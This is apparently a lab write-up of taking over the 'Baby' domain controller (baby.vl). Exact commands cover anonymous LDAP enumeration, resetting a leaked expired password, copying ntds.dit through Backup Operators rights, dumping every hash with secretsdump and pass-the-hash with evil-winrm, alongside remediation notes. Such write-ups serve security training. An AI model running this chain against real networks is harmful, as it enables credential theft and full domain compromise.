Baby
Summary
I targeted BABYDC ($TARGET), the sole domain controller for baby.vl. The domain controller allowed anyone on the network to connect to LDAP without a username or password — an anonymous bind — which returned every user account and all of its directory attributes. Two accounts had my initial onboarding password ([REDACTED: recovered credential]) stored verbatim in the Active Directory description field, visible to that unauthenticated query.
One of those accounts, Caroline.Robinson, had never changed the password and was flagged as expired. A standard password-change tool cannot reset an expired account, but Impacket's changepasswd utility performs the lower-level SAMR exchange that allows the account holder to set a new password using only the disclosed old one — no administrator involvement required. With a fresh working credential I authenticated as Caroline.Robinson, whose Backup Operators group membership lets a user bypass file-system access controls for backup purposes.
On a domain controller that right is catastrophic: I pulled the Active Directory database (ntds.dit) and the SYSTEM registry hive directly over SMB. Offline parsing of those two files produced the NTLM password hash for every account in the domain. The Administrator hash was used in a pass-the-hash attack for a full remote shell — complete domain compromise, no password cracking required.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 3
echo "$TARGET babydc.baby.vl baby.vl" | sudo tee -a /etc/hostsnxc smb $TARGETnxc smb $TARGET -u '' -p '' --sharesExact commands 2
nxc ldap $TARGET -u '' -p '' --usersldapsearch -x -H ldap://$TARGET -b 'dc=baby,dc=vl' '(objectClass=user)' sAMAccountName description userAccountControl memberOfFixDisable anonymous (unauthenticated) LDAP bind on the domain controllerHigh
Exact commands 1
ldapsearch -x -H ldap://$TARGET -b 'dc=baby,dc=vl' '(&(objectClass=user)(description=*))' sAMAccountName description userAccountControlFixRemove all plaintext credentials stored in AD user description and info fieldsCritical
Exact commands 3
impacket-changepasswd baby.vl/Caroline.Robinson:'[REDACTED: recovered credential]'@$TARGET -newpass '[REDACTED: recovered credential]'nxc smb $TARGET -d baby.vl -u Caroline.Robinson -p '[REDACTED: recovered credential]'nxc winrm $TARGET -d baby.vl -u Caroline.Robinson -p '[REDACTED: recovered credential]'Exact commands 4
python3 -c "from impacket.ntlm import compute_nthash; print(compute_nthash('[REDACTED: recovered credential]').hex())"mkdir -p /tmp/baby-lootnxc smb $TARGET -d baby.vl -u Caroline.Robinson -H [REDACTED: recovered credential] --get-file 'C:\Windows\Temp\cbaby\ntds.dit' /tmp/baby-loot/ntds.ditnxc smb $TARGET -d baby.vl -u Caroline.Robinson -H [REDACTED: recovered credential] --get-file 'C:\Windows\Temp\cbaby\SYSTEM' /tmp/baby-loot/SYSTEMFixRemove non-administrative users from Backup Operators and other sensitive built-in groupsCritical
Exact commands 1
impacket-secretsdump -ntds /tmp/baby-loot/ntds.dit -system /tmp/baby-loot/SYSTEM LOCAL -outputfile /tmp/baby-loot/secretsFixMonitor for NTDS database access and rotate the built-in Administrator credential to limit pass-the-hash impactHigh
Exact commands 3
evil-winrm -i $TARGET -u Administrator -H <administrator_nt_hash>type C:\Users\Administrator\Desktop\root.txttype C:\Users\<domain_user>\Desktop\user.txtExposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-07 05:39:10Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl, Site: Default-First-Site-Name) |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49664/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49701/tcp | unknown recon-sweep-discovered |
| 59011/tcp | unknown recon-sweep-discovered |
| 59012/tcp | unknown recon-sweep-discovered |
| 65243/tcp | unknown recon-sweep-discovered |
| 65259/tcp | unknown recon-sweep-discovered |